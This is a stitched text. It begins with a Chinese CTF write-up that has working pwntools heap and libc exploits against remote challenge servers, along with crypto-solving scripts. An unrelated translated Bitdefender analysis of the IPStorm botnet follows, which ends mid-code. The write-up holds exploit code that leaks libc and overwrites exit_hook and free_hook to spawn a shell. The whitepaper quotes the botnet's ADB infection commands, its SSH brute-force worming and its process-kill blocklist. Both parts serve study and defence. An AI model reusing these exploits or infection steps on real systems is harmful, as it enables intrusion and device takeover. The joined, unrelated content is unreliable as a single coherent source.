解开hardzip.zip，得到一个easyzip.zip
用bandizip或者winrar可以看到3个文件，因为头文件错误的问题有些压缩包看不到。
有两个CRC一模一样的文件，而且一个加密一个未加密，显然是明文攻击。
这里找软件很麻烦，最后用winrar成功
明文攻击得到压缩包密钥：%3#c$v!@
解开压缩包得到flag.txt：
V20xa2NGa3hPV1ppYlRrd1lraDBkMk51WkdwWU1UazVXVmh2YlZreVZtaGFSMnhC
连续三次base64解码，得到：
fgic__notl{prwc__}az&ceadi@
传统型栅栏密码解密，key为3，解得：
flag{zip&crc_we_can_do_it}@
后面的@不要即为flag
### 王牌特工
下载压缩包得到一个findme文件
可以分离出两个有用的文件，flagbox和key.txt
key.txt里的数据为：
key:a_cool_key
use Veracrypt
下载Veracrypt，key为a_cool_key，解flagbox得到一个flag.txt：
这里说要回头看看，猜测可能原文件里有隐藏的东西。用DiskGenius恢复findme文件，得到：
把下面的密文用base64解码，得到：
真的密码:this_is_a_true_key
重新利用Veracrypt装载，得到realflag：
flag{you_are_a_cool_boy}
### BeCare4
下载附件得到一个加密压缩包和一个npmtxt，用零宽字节解npmtxt里的字符串，解得：
oh,you found the pass:RealV1siBle
解开压缩包得到一张女孩子的图片，jpg隐写搞了一遍，最后用SilentEye
拖入SilentEye即可获得flag：
## PWN
### web server
XRAY扫到了一个目录穿越漏洞，一把梭
有一说一还有一个webpwn也有这个洞，但是似乎ban了flag，但能读到passwd
有一说一另一题
### Einstein
json解析器name和passwd全错可以泄露libc，改exit_hook三个字节为one_gadget
#!/usr/bin/python
from pwn import *
import sys
context.log_level = 'debug'
context.arch='amd64'
local=0
binary_name='sfs'
libc_name='libc-2.23.so'
if local:
p=process("./"+binary_name)
libc=ELF("./"+libc_name)
else:
p=remote('axb.d0g3.cn',20103)
e=ELF("./"+binary_name)
libc=ELF("./"+libc_name)
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,b'\x00'))
payload = '''
{
"name": "a",
"passwd": "b"
}
'''
payload = payload.replace('\n','')
def pwn():
p.sendline(payload)
p.recvuntil('logger:')
p.recvuntil('logger:')
libc_base = leak_address()-0x3c4b78
print(hex(libc_base))
if libc_base < 0x7f0000000000:
return 0
exit_hook1=libc_base+0x8f9f48
one_gadget = libc_base+0xf0364
a = p64(one_gadget)[0]
p.send(p64(exit_hook1))
p.send(p8(a))
p.send(p64(exit_hook1+1))
a = p64(one_gadget)[1]
print(hex(one_gadget),p8(a))
p.send(p8(a))
p.send(p64(exit_hook1+2))
a = p64(one_gadget)[2]
print(hex(one_gadget),p8(a))
p.send(p8(a))
ia()
pwn()
### IO_FILE
释放0x10的chunk避免干扰后iofile泄露libc，tcache改free_hook
#!/usr/bin/python
from pwn import *
import sys
context.log_level = 'debug'
context.arch='amd64'
local=0
binary_name='IO_FILE'
libc_name='libc.so.6'
libc=ELF("./"+libc_name)
e=ELF("./"+binary_name)
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,b'\x00'))
def cho(num):
sla(">",str(num))
def add(size,content):
cho(1)
sla("size:",str(size))
sa("description:",content)
def delete(idx):
cho(2)
sla("index:",str(idx))
while True:
try:
if local:
p=process("./"+binary_name)
else:
p=remote('axb.d0g3.cn',20102)
add(0x80,'a')
add(0x10,'b')
for i in range(8):
delete(0)
delete(1)
add(0x70,'\x60\x77')
add(0x80,'c'*8)
add(0x80,p64(0xfbad1800) + p64(0)*3 + b'\x00')
leak = u64(ru("\x7f")[-6:].ljust(8,b'\x00'))
libcbase = leak - 0x3b68b0 #0x3ed8b0#
free_hook = libcbase + libc.symbols['__free_hook']
system = libcbase + libc.symbols['system']
print(hex(libcbase))
print(hex(free_hook))
add(0x68,'1')#5
add(0x20,'2')
delete(5)
delete(5)
add(0x68,p64(free_hook))
add(0x68,'/bin/sh\x00')
add(0x68,p64(system))
delete(8)
ia()
break
except:
p.close()
## Crypto
### 爆破
import hashlib
l = '0123456789abcdef'
key = list(l)
ciphier = '0596d989a2938e16bcc5d6f89ce709ad9f64d36316ab80408cb6b89b3d7f064a'
broken_flag = 'd0g3{71b2b5616**2a4639**7d979**de964c}'
for i in range (len(key)):
for j in range (len(key)):
for a in range (len(key)):
for b in range (len(key)):
for c in range (len(key)):
for d in range (len(key)):
temp1 = key[i]+key[j]
temp2 = key[a]+key[b]
temp3 = key[c]+key[d]
flag = broken_flag[:14] + temp1 + broken_flag[16:22] + temp2 + broken_flag[24:29] + temp3 + broken_flag[31:]
flag1 = hashlib.sha256(flag.encode("utf-8"))
if flag1.hexdigest() == ciphier:
print(1)
print(flag)
break
#d0g3{71b2b5616ee2a4639a07d979ebde964c}
### Easy aes
题目
#!/usr/bin/python
from Crypto.Cipher import AES
import binascii
from Crypto.Util.number import bytes_to_long
from flag import flag
from key import key
iv = flag.strip(b'd0g3{').strip(b'}')
LENGTH = len(key)
assert LENGTH == 16
hint = os.urandom(4) * 8
print(bytes_to_long(hint)^bytes_to_long(key))
msg = b'Welcome to this competition, I hope you can have fun today!!!!!!'
def encrypto(message):
aes = AES.new(key,AES.MODE_CBC,iv)
return aes.encrypt(message)
print(binascii.hexlify(encrypto(msg))[-32:])
'''
56631233292325412205528754798133970783633216936302049893130220461139160682777
b'3c976c92aff4095a23e885b195077b66'
'''
hint那里是有规律的，随机数实际解得”}4$d”
解得key = b’d0g3{welcomeyou}’
后面写脚本逆推
#!/usr/bin/python
from Crypto.Cipher import AES
import binascii
from Crypto.Util.number import bytes_to_long
import os
# from flag import flag
key = b'd0g3{welcomeyou}'
flag = "1" * 16
iv = flag.strip(b'd0g3{').strip(b'}')
LENGTH = len(key)
assert LENGTH == 16
hint = os.urandom(4) * 8
# print(bytes_to_long(hint)^bytes_to_long(key))
msg = b'Welcome to this competition, I hope you can have fun today!!!!!!'
def _xor(a, b):
tmp = ""
for i in range(len(a)):
tmp += chr(ord(a[i]) ^ ord(b[i]))
return tmp
def encrypto(message):
aes = AES.new(key, AES.MODE_CBC, iv)
return aes.encrypt(message)
def decrypto(message):
aes = AES.new(key, AES.MODE_ECB)
return aes.decrypt(message)
last_1 = '3c976c92aff4095a23e885b195077b66'.decode('hex')
last_1d = decrypto(last_1)
last_2 = _xor(last_1d, msg[-16:])
last_2d = decrypto(last_2)
last_3 = _xor(last_2d, msg[-32:-16])
last_3d = decrypto(last_3)
last_4 = _xor(last_3d, msg[-48:-32])
last_4d = decrypto(last_4)
last_5 = _xor(last_4d, msg[-64:-48])
print(last_5)
### Easy rsa
下载得到奇怪名字的文件和奇怪的python文件，应该是替换，写个脚本恢复恢复结果如下
#!/usr/bin/python
from Crypto.Util.number import getPrime
import gmpy2
# --------------challenge 1------------- p = getPrime(1024)
q = getPrime(1024)
e = getPrime(16)
n = p*q
phi = (q-1) * (p-1)
c = gmpy2.powmod(m,e,n)
hint1 = 2 * d + 246810 * e * phi
print(n)
print(c)
print(hint1)
# --------------challenge 2------------- p = getPrime(4096)
r = getPrime(4096)
q = m
e = 0b10001
hint2 = bytes_to_long(hint2)
n = p*q*r
c = gmpy2.powmod(hint2,e,n)
print(n)
print(p)
print(c)
# --------------challenge 3------------- m = bytes_to_long(flag)
q = getPrime(1024)
p = getPrime(1024)
n = q*p
e = 5
c = pow(m,e,n)
print(n)
print(c)
challenge1: iroot(pow(c,hint1,n),2)解得m,m是3得倍数，
challenge2,四因子rsa解得hint2，给了flag得高位，
challenge3：<https://xz.aliyun.com/t/6459#toc-47>Stereotyped message
exp如下
n = 10050095014547257781432719892909820612730955980465259676378711053379530637537082959157449310691856567584792956476780977871348290765339769265796235196183464082153542864869953748019765139619014752579378866972354738500054872580260903258315293588496063613299656519940131695232458799137629873477475091085854962677524091351680654318535417344913749322340318860437103597983101958967342493037991934758199221146242955689392875557192192462927253635018175615991531184323989958707271442555251694945958064367263082416655380103916187441214474502905504694440020491633862067243768930954759333735863069851757070183172950390134463839187
c = 522627051172673216607019738378749874116772877858344748349627321977492158105699887369893079581450048789131578556338186004983533975454988450450635141267157135506032849129152411194539350100279698888357898902460651973610161382266600081865609650174137113252711515464274593530115825189780860732147803369868525723790644619452538755225868382505974710418995847979384726953915873857530098330095151094837190566851416540540805185485212577333604309698822785682707412587829684108913753204398552196441996201678339688766979634246337855516220753995430266970473808724410357458278585135750810810484678948146374963838334596646926215341
hint1 = 134805774328615624446574490322803283547316698647214138487576352482438867186094276263735342558169004773286779632939369099910639984165263724781958841009573156241531958373198729926012152201548649349842790727259831232277600944618096069835436884888782994513452252257103877595707828731260669076400456300668581565291455061609385003064649522735776446930209884653223939689686840631001863143579575759834304817613040932998629846110770749941179601474484275548912570668460216633586988225562794026430881265344731575650165992321629617982004131413202026628777742093026476064486873565664625105013298396598413667761372217260994853420062861590358
from Crypto.Util.number import *
from gmpy2 import *
#hint1 = long_to_bytes(iroot(pow(c,hint1,n),2)[0])
m = iroot(pow(c,hint1,n),2)[0]
n = 133561991523711714238641512987809330530212246892569593026319411449791084194115873781301422593495806927875828290629679020098834182528012835469352471635087375406306534880352693134486855968468946334439553553593196889196239169351375517588892769598963002098115826389220099548938169095670740942251209102500450728442583559710183771974489284632651296188035458586935211952691589627681567274801028577256215269233875203212438263987034556969968774119389693056239796736659926866707857937025200924828822267781445721099763436020785585453958594470906716195030613615725126057391084801585533926767137218524047259398886392592317910204988634868663634415285507325190415658931169841182499733179254162060738994027842088553562013488445789594342451823783136881968032197575016845492231433684884872631894561254381663562267075103417879327236182565223877901300392217967589154857009356640377622996801781797109089687661697856930394706016954531077165127402008444818092498106642068414208190583373314287381712963712098566595399301400378116274132918572709221391531621228936206630829355801192700264684469488261781954165940553346889395507153750291402535330239420975542926664420153925171757944018621411265539452424569343708318070259746118326558005521868356304582694159507379335214599839668805877215983938986674084063185863612335339836810044252829401409522709997562887276661672718820881541500852400369184737236082178767653725044900394959369367604992512713490494168594433000695046297712977059205623777990102604073885527049867682390577577616773090662829024271568456346362315351643767420198116229892060385453123572533267805396437865025639093881944841521458804810097550625853182396288247815370818578103543117466070812804267915674186488979548392193291727228018246788487524292081389142018151246889408421936865224469589631518283230229213787648552632437566756058034131355439709320923876063030896228165897498746898125821639893238387694549304110003941329763552493326245073779912107372271854798616245416264801377068163622812994786201580895459712414134184992440395336131037558976058298521312536969408724436512019410835904564817724243688308776888170183074838453466914170790840559860531933430176605716828492670093771129301541861534595181565621644268739349035133062776852304594204220291667924128313579203359827093150911871520605180797438668872585571501531844999598674037998642821148417473110716470439750642781609483016636419373004760601783594025036152924259863627732874940148083408474700265895269165869619971810103499607445649821
p = 689159326758330864205993810270646658558112329195746149991184055909755461246626153920231796960903018393806410715812453949253930576368274228434916375544579284365205241766136566047482065208442992856658212126772417415403473480889927931481129434854332858754668120563818975006384512615022532233244596546830392476321031156328699572283946257730515089543367929326280871305776349305346159311591820455943842203357066465523558715870586535188343603460826231817622511283563179065036619023415848694281294463836320838105950552498785365535923041927491743402053568747113507098917091780797009380675587381805253390649630338055131031679595664055361678114747608302944715308343764678875659039394225950479683967885912291399162609094622980318391045105733088508798371414996479107970975717563552614856114065668728607215268431341079233630995168600896375314067716366181300081684353583326214062788182429536300917720999423489104723824360299238754986351169209709892739317096741609428484854087163771300777717883057028145424827875496235567904291417092378448353222179114362314382900648079547647848024440220204768433974038004942869937932015294078073975703156613070125753344841550872429670559866184492945262960524545894823245933714684747784492095876370443994948425495841
c = 65553658155452064459040687299632299415295760116470555100400688788937893101658136830409082198753928673469636810831761104117535054304536941814523449491308187105740319828511969750359402834799486354958723098881095067882833993358468923611118977258293638107874383059048015701807718209929028151240509801801995570592890519253676774278321334154528938199389248563657673061299152526380072934917964488153875744843855913524788571997024947738868563951687976817548296078497817264410193882661874749304071168979787307490320366615899942861059615405569154961435894469325778407081182151320629413711622905703628430999201763846682516985530373643176026602901129520439581385946775511292435206913016381293219606333035648747877313424616408338829137581998558399694071257787294948211441360283876078405831210625321012072477187438320944119825970347654743794743846351762763177440045084761025728597526592892602263484022280653040195670941221493307430623213388669939114424884078502946247136016528925968280034099568454876076717790529204207317485416329062672971939549478648687894958552760953682796211975576320713576155031581257782352223857605149825435939889497465805857339911597479498085071301601506276220487493620870555545057189236870008182212284992968466451864806648279032294546676543599599279519394341289357968292292966055189578253350591765186079486142930848439238134776982658066494378507873003509820326863340562093906137812952544399266821679905073464535234547335867090392493005792528534561846391285698943396889671437127470587837989050518266365099789392584686615435440486086402941357614369171354355307532351370775920044953381482310949663868493911752104873824099597326393857349237228788875273525189373323552519106738497767546337587947368062413334887230166285909705065920918078052826480092129173127887307158867274895914733110276134124505178182548094607594799978378381804502097507167978950926067243870989514735314054362049917668015341349933704885009878192354865067520219676784278082055728039064858769077997521541853184489175120623176481708269464933868222226748491078319156602229948646960513946846417957356535995079525993783278312017766715177078804065822913241465133977233398851120059496221650357891946344151601586169979516826622503491746992282716591488199657450776596383692706657692673860134555990821730412919497018889046615548520878486492644159735144935329502984929679831356967030870226422768447430410031028770529758721438528263719267616233686813781828066547393953352033364851486926368090757420184816634373721
q = m
e = 0x10001
#hint2 = bytes_to_long(hint2)
#n = p*q*r
from sympy import isprime
r = (n//q)//p
#print q
#print isprime(q)
assert r*p*q == n
print "pass"
q = q//3
s = 3
print isprime(q),isprime(p),isprime(r),isprime(s)
phi = (p-1)*(r-1)*(q-1)*(s-1)
d = inverse(e,phi)
#pow(c,d,n)
a = pow(c,d,n)
print a.bit_length()
print long_to_bytes(pow(c,d,n))
n = 14857387925078594782296815160632343246361073432459148990826882280149636079353743233970188012712079179396872746334143946166398665205889211414809061990804629906990919975187761209638578624750977626427334126665295876888197889611807587476285991599511809796600855689969285611439780660503760599419522224129074956376232480894299044645423966132497814477710701209588359243945406653547034819927990978087967107865071898215805154003530311865483912924517801551052430227039259201082691698480830966567550828053196299423168934840697637891311424286534363837640448614727396254288829197614805073711893711252067987576745683317789020760081
c = 14035143725862612299576867857272911865951893239411969382153274945929406881665641140566462510177132511558933111728871930062074990934496715765999564244916409345156132996227113853067808126894818934327468582686975383715892108247084995817427624992232755966398834682079985297050358462588989699096264155802168300026093598601350106309023915300973067720164567785360383234519093637882582163398344514810028120555511836375795523327469278186235781844951253058134566846816114359878325011207064300185611905609820210904126312524631330083758585084521500322528017455972299008481301204209945411774541553636405290572228575790342839240414
_m=11239443406846515682004397310032293056196968050880696884154193656922259582646354037672076691689208477252910368708578177585615543361661522949580970926775441873118707711939955434559752380028881505457190152150478041765407640575502385319246850488337861927516356807100066882854088505873269444400308838674080495033363033991690519164414435127535585042743674610057871427247713644547353814013986225161074642240309387099685117406015368485154286173113005157000515600312732288515034433615484030112726976498694980213882676667079898254165734852012201534408980237760171665298653255766622300299965621344582683558980205175837414319653422202527631026998128129244251471772428535748417136102640398417683727976117490109918895485047
e = 0x5
b=_m * (10 ** 54)
kbits=180
PR.<x> = PolynomialRing(Zmod(n))
f = (x + b)^e-c
x0 = f.small_roots(X=2^kbits, beta=1)[0]
from Crypto.Util.number import *
print ( (b+x0)^e-c == 0 )
print(long_to_bytes(int(b)+int(x0))) | 社区文章 |
**译者：知道创宇404实验室翻译组**
**原文链接：<https://www.bitdefender.com/files/News/CaseStudies/study/376/Bitdefender-Whitepaper-IPStorm.pdf>**
### 摘要：
Bitdefender的研究人员发现Interplanetary Storm Golang僵尸网络可以用作高度匿名的proxy-network-as-a-service和基于订阅的模型租用。攻击者精通使用Golang和开发实践，并且善于隐藏管理节点。Interplanetary
Storm还有一个复杂的、模块化的设备，该设备用来寻找新目标、推送和同步新版本恶意软件，对被感染者执行任意命令并与C2服务器通信公开web API。
我们估计僵尸网络的规模在9000台左右。绝大多数使用的是安卓系统，大约1%使用的是Linux。极少数的设备的操作系统是Windows，但它们似乎运行的是旧版本的恶意软件。在新的迭代中，IPStorm通过攻击基于Unix的系统（Linux、Android和Darwin）运行面向Internet的SSH服务器弱凭据或不安全的ADB服务器。从地理分布来看，这个僵尸网络似乎建立在亚洲，但是它遍布全球，受害者在巴西、乌克兰、美国、瑞典和加拿大等国家。
### 主要发现
* 僵尸网络可能作为匿名代理网络租用
* 可将受损设备用作代理
* 僵尸网络遍布全球
* 采用多层次订阅型模式进行租赁
* 迄今已有100多个规范修订
* 僵尸网络背后的基础设施
### 介绍
2019年6月，来自[Anomali](https://www.anomali.com/blog/the-interplanetary-storm-new-malware-in-wild-using-interplanetary-file-systems-ipfs-p2p-network
"Anomali")的研究人员首次报道了Interplanetary
Storm（IPStorm）。2020年5月，当这个僵尸网络攻击我们的SSH蜜罐时，我们发现了它。从那以后，该恶意软件一直在不断发展。
在其新的迭代中，IPStorm通过攻击基于Unix的系统（Linux、Android和Darwin）进行传播，这些系统运行面向互联网的SSH服务器，而这些SSH服务器具有弱凭据或不安全的ADB服务器。
它的功能包括为设备后门（运行shell命令）和生成恶意流量（扫描互联网和感染其他设备）。我们已经确定僵尸网络的主要目的是将被感染的设备放入代理服务器中，这是他们营利计划的一部分。具有这一目标的僵尸网络在过去已经出现过（例如：[dark_neunexus](https://labs.bitdefender.com/2020/04/new-dark_nexus-iot-botnet-puts-others-to-shame/
"dark_neunexus")、[ngiweb](https://blog.netlab.360.com/an-analysis-of-linux-ngioweb-botnet-en/ "ngiweb")、[Gwmndy](https://blog.netlab.360.com/some-fiberhome-routers-are-being-utilized-as-ssh-tunneling-proxy-nodes-2/
"Gwmndy")）。
### 时间线
IPStorm的发展可以分为三个阶段：
* Major 0, Minor 0：Anomali去年报道，专门针对Windows
* Major 0, Minor 1：今年出现（2020年5月），目标是Unix衍生系统
* Major 0, Minor 2：最新进展（2020年9月），从publish-subscribe模式转换而来
在撰写本文时，最新版本是0.2.05a。
### Bot生命周期
Bot启动代码初始化IPFS节点并启动专用于Bot的每个子模块。它将恶意程序进程的oom_adj分数设置为-17，如果系统可用内存不足，这样可以确保不会被终止。然后，它确保只有一个恶意软件实例在设备上运行。任何匹配进程都将被终止，并且它的可执行文件已被删除。
一个2048位RSA密钥对产生，并存储在文件系统的可写路径中。此密钥属于IPFS节点并具有唯一标识。节点被实例化并启动引导进程，使IPFS网络中的其他节点可以访问它。与僵尸网络中其他对等方的连接是通过定期“announcing”自己来确保的，除此之外，它寻找发布相同公告的对等方（更多信息请参阅“P2P通信”部分）。
通过在IPFS上收集指纹信息，我们从info主题中检索到这样一个条目，示例如下（其中有些信息是为隐私而编辑的）：
“T” : 1592892637,
“HostID” : “Qmf4[________________redacted________________]”,
“Version” : “0.1.81a”,
“Platform” : “linux-arm7”,
“SystemInfo” : {
“GoOS” : “linux”,
“Kernel” : “Linux”,
“Core” : “4.19.97-v7+”,
“Platform” : “unknown”,
“OS” : “GNU/Linux”,
“Hostname” : “raspbx”,
“CPUs” : 4
},
“Uid” : “0”,
“Gid” : “0”,
“UserName” : “root”,
“UserDisplayName” : “root”,
“UserHomeDir” : “/root”,
“IsAdmin” : true,
“ExecutablePath” : “/usr/bin/storm”,
“InstallationPath” : “/usr/bin/storm”,
“ComputerID” : “”,
“LocalIPs” : null,
“ExternalIP” : “[redacted]”,
“Processes” : null
}
另一个周期的goroutine的任务是在Bot的新版本可用时执行更新。在这种情况下，更新后的文件写入文件系统，重新建立恶意软件的持久性并重新启动进程。
它的持久性取决于操作系统。
* 在Linux上，它使用[开源守护程序包](https://github.com/takama/daemon "开源守护程序包")创建一个名为storm的服务
* 在Android上，它以读写方式重新装载文件系统，并覆盖/system/bin/install-recovery.sh文件
* 在Darwin上，没有实现持久性方法
### P2P通信
在进行对等点之间的通信时，IPStorm利用了libp2p over提供的多种机制IPFS:
* topics
* content routing (node discovery)
* libp2p protocols
针对所有节点的消息使用不同的方法（版本更新、文件校验和、具有特殊角色节点的IDs）和用于特定节点的消息（扫描目标、代理请求、shell命令）。
在第一种方法中，消息发布在主题上，所有节点都订阅该主题并处理信息。在DDB（分布式数据库）的情况下，发布在主题上的消息用于在所有节点。虽然消息可能会因其在网络中的传播方式而无序，但是包含时间戳使每个节点只保留给定密钥的最新值。确保同行Bot可以使用时间戳进行适当的协调，它通过从一个公共列表中查询一个随机条目来更新它的时间NTP服务器。
第二种方法适用于扫描模块，例如：中央实体发出扫描命令，把目标分配给机器人。这是通过使用IPStorm特有的协议连接到每个Bot来实现的。
### 主题
主题是libp2p [Publish-Subscribe](https://docs.libp2p.io/concepts/publish-subscribe/ "Publish-Subscribe")模式实现的一部分。IPStorm使用以下主题：
从0.2.*版本开始，IPStorm放弃了这些主题，转而使用web API模块进行集中化设计。
### 协议
当一个对等点想要打开与另一个对等点的直接连接时，libp2p[协议](https://docs.libp2p.io/concepts/protocols/
"协议")就会发挥作用。源拨号指定多[地址](https://docs.libp2p.io/concepts/addressing/
"地址")和协议的目标对等方。协议用于标识在目标节点中调用哪个处理程序，目标节点只接受其支持的协议的连接。
IPStorm定义了一套自己的协议：
### 节点发现
libp2p提供的内容路由接口可用于对等发现。节点将自己公布为某些CID（内容ID）的提供者，同样地，搜索提供者，定位对等节点。这是通过[go-libp2p-kad-dht](https://github.com/libp2p/go-libp2p-kad-dht "go-libp2p-kad-dht")（routing.FindProviders）提供的接口直接与CIDs合作来实现的。[go-libp2p-discovery](https://github.com/libp2p/go-libp2p-discovery "go-libp2p-discovery")提供了另一种方法，使用可以转换为CIDs（routing.FindPeers,
routing.Advertise）的名称空间。
对于IPStorm使用的每种类型，我们列出：
### Relays
在0.1.43a和0.1.51a之间的某个点，IPStorm引入了对电路Relays的支持。这可能是为了提高NAT之后的节点的可达性，或者试图隐藏管理节点。在该功能实现后不久，大多数管理节点不再发布其IP地址，而是使用Relays电路。
例如，`qmeb3x55maokhzfzfysuhfgkzwaz3zftqcqz6qiaeqamo7a2`列出以下地址（除其他外）：
`/ip4/78.x.x.120/tcp/52202/p2p/QmVoDwmbfwSUPT3ds5ytWRwhoWZkzgE9qFHiYHfJQ5cAnm/p2pcircuit/p2p/Qmeb3X55MaoKhZfYsUHFgkZWAz3ZFtQCQz6qiaEqamo7a2`
这意味着78.x.x.120:52202处的节点（ID为QmVoDwmbfwSUPT3ds5ytWRwhoWZkzgE9qFHiYHfJQ5cAnm的storm节点）用作与Qmeb3X55MaoKhZfYsUHFgkZWAz3ZFtQCQz6qiaEqamo7a2建立连接。
自从版本0.1.85a以来，这个特性的使用已经减少了，大多数节点都列出了它们的外部IP。然而，一些节点仍然隐藏在中继后面，在某些情况下，中继不属于僵尸网络。另一方面，另一个短期的尝试就是用域来隐藏所涉及的管理节点IP地址。这些域是用[DNSPod](http://www.dnspod.com/docs/domains.html
"DNSPod")（域名注册服务）生成的，用于在DDB主题上作为代理后端播发的多个地址：
/dns4/splendidobed.site/tcp/443/ipfs/QmViHGaXaG5JzbvH2Xs1Ro19fvoKG1KqpPGMYWLc4ckEAV
/dns4/spenso.me/tcp/443/ipfs/QmViHGaXaG5JzbvH2Xs1Ro19fvoKG1KqpPGMYWLc4ckEAV
通过它们的配置，IPStorm节点可以同时使用中继器进行出站连接（EnableAutoRelay（））和节点充当中继跃点（EnableRelay(circuit.OptHop)）。如果想要使用IPStorm节点作为跃点，必须完成握手：
* 使用/strelayp/1.0.0协议连接到继电器
* 发送字符串“HSR”
* 继电器应响应“+\n”
启用了此功能的节点（并非所有版本都是这样）在DDB上或使用特定的发现命名空间（更多内容请参阅“节点发现”部分）。
### Modules
IPStorm版本0.2.05a中的包：
Packages:
main
storm/backshell
storm/ddb
storm/filetransfer
storm/logging
storm/malware-guard
storm/node
storm/powershell
storm/proxy
storm/reque_client
storm/starter
storm/statik
storm/util
storm/web_api_client
过去还有其他包，但已被替换或停止使用：
storm/avbypass
storm/bootstrap
storm/handshake
storm/identity
storm/peers_cache
storm/storm_runtime
storm/vpngate
在本节中，我们将对包含其核心功能的模块进行技术分析。
#### 恶意软件卫士
此任务定期执行，查找竞争的恶意软件。如果进程的名称、可执行路径或命令行参数包含黑名单中的任何字符串，则认为进程可疑。进程被终止，它们的可执行文件被删除。黑名单上的字符串是：
/data/local/tmp
rig
xig
debug
trinity
xchecker
zpyinstall
startio
startapp
synctool
ioservice
start_
com.ufo.miner
#### Backshell
此模块用于在受感染的设备上运行shell命令。shell是通过libp2p访问的协议连接（ID为/sbst/1.0.0）。该模块缺少身份验证或授权。
#### DDB
分布式数据库（DDB）被用来存储和共享配置数据。对于同步，每个Bot定期发布本地数据库中有关IPFS主题的条目。用更新的时间戳更新本地条目。在这个过程中，只有受信任的节点才有权更新某些密钥。libp2p（pubsub）实现消息签名，Bot检查公钥属于硬编码消息的可信密钥列表。
从相关主题检索到的DDB条目的示例如下：
{
“Command” : “SetWithTTL”,
“Key” : “file-checksum/storm_android-amd64”,
“Value” : “12c3368e17c04f49cfea139148b63fd1ab1a41e26c113991c2bb0835dd02495b”,
“TTL” : 3600000000000,
“T” : 1598897109
}
该命令是指应该在数据库上执行的操作。在这种情况下，该项有一个时间tolive（TTL），这意味着它应该在发布后经过一个时间间隔（TTL值）后被丢弃。键和值与数据库中存储的实际数据相对应。
根据关键字，值具有以下含义：
数据库是一个关联数组，但是要区别于发表在这个主题上的（键，值）。Set和SetWithTTL命令存储与键相关联的值，替换前面的值。对于SAdd命令，与数据库中的键相关联的值是一个列表，消息中的值附加到该列表中。
虽然在最新的示例中，该模块仍用于本地存储，但同步机制已被使用webapi的管理节点查询所取代。
#### VPNGate
此模块用于对公共VPN服务VPNGate的API进行抓取。
程序执行一个请求`[http://www.vpngate.net/api/iphone/](http://www.vpngate.net/api/iphone/
"http://www.vpngate.net/api/iphone/")`并解析CSV响应。获得的关于这些VPN服务器的信息将发布在IPStorm的一个主题上。
将此模块包含在僵尸网络中的原因可能是为了克服限制为请求返回的服务器列表的VPNGate。通过僵尸网络以分布式方式抓取，可以发现更广泛的VPN服务器选择。
#### Reque
reque包（可能代表来自“command-and-control”的请求”）用于与SSH和ADB服务器的协同扫描以及蠕虫式感染相关的功能。Bot通过/sreque/1.0.0协议连接到一个称为请求服务器的IPFS节点。来自此服务器的命令分布在一个工作队列中。该模块设计为易于扩展以处理新命令。目前，有两个命令处理程序，分别用于tcp
scan和brute ssh命令。
tcp-scan命令用于扫描一组端口上的IP范围。如果目标端口列表包含端口22或5555，则模块将分别遵循SSH和ADB协议。
brute-ssh的一个参数和一个地址列表作为其参数。如果Bot成功地在目标设备上获得shell，它就会执行感染有效载荷，将受害者变成IPStorm
Bot。
作为一种[蜜罐规避](https://github.com/cowrie/cowrie
"蜜罐规避")技术，在感染前使用正则表达式验证shell的提示步骤。regex匹配“svr04”字符串，它是Cowrie蜜罐的主机名。
在SSH的情况下，Bot表现出蠕虫行为，而对于ADB，感染阶段不是由Bot执行的，Bot只将找到的关于设备的信息中继回reque
manager。实际的感染是由一个bot-herder控制的节点执行的，该节点通过ADB连接到受害者并发出感染有效载荷。根据我们从ADB蜜罐收集的数据，攻击者的脚本相当于：
adb connect $IP:5555
adb root && adb wait-for-device
adb remount && adb wait-for-device
adb shell mount -o rw,remount /data; mount -o rw,remount /system; mount -o rw,remount /
adb shell echo “{
\”user\”:\”$(whoami 2>/dev/null)\”,
\”id\”:\”$(id 2>/dev/null)\”,
\”root_access\”:\”$(getprop persist.sys.root_access 2>/dev/null)\”,
\”machine\”:\”$(uname -m 2>/dev/null)\”,
\”curl\”:\”$(which curl 2>/dev/null)\”,
\”wget\”:\”$(which wget 2>/dev/null)\”,
\”adb\”:\”$(which adb 2>/dev/null)\”,
\”iptables\”:\”$(which iptables 2>/dev/null)\”,
\”ipset\”:\”$(which ipset 2>/dev/null)\”,
\”abi\”:\”$(getprop ro.product.cpu.abi 2>/dev/null)\”,
\”abi2\”:\”$(getprop ro.product.cpu.abi2 2>/dev/null)\”,
\”abilist\”:\”$(getprop ro.product.cpu.abilist 2>/dev/null)\”,
\”abilist32\”:\”$(getprop ro.product.cpu.abilist32 2>/dev/null)\”,
\”abilist64\”:\”$(getprop ro.product.cpu.abilist64 2>/dev/null)\”,
\”sdk\”:\”$(getprop ro.build.version.sdk 2>/dev/null)\”
Bitdefender DracoTeam • WHITEPAPER
Looking Into the Eye of the Interplanetary Storm
}”
adb push install-recovery.sh /system/bin/install-recovery.sh
adb push storm-install.sh /system/bin/storm-install.sh
adb push sldrgo /system/bin/sldrgo
通过echo命令收集的指纹信息用于调整剩余的有效载荷。最后的文件sldrgo是为受害者的CPU架构编译的UPX压缩二进制文件。它的目的是下载主Bot有效载荷。
#### Proxy
IPStorm代理通过libp2p流量对[SOCKS5](https://github.com/armon/go-socks5
"SOCKS5")协议进行隧道传输。该模块同时执行两个任务：维护与后端的连接和处理传入流。
代理后端使用DDB（旧版本）或节点发现机制定位。然后，bot使用/sbpcp/1.0.0协议连接到后端，并定期使用其外部IP地址和延迟。
在初始化阶段，它使用开源的SOCKS5实现在随机端口上启动本地SOCKS5代理。实例化了/sbptp/1.0.0协议的流处理程序。这允许节点从libp2p流中取消封装SOCKS5代理流量，并将其转发给本地代理。同样，响应通过libp2p流转发回对等端。在旧版本中，这是使用双向管道的特殊实现来完成的：
type proxy.BidirectionalPipe struct{
ctx context.Context
lrw io.ReadWriter
rrw io.ReadWriter
pipe1 *proxy.Pipe
pipe2 *proxy.Pipe
}
type proxy.Pipe struct{
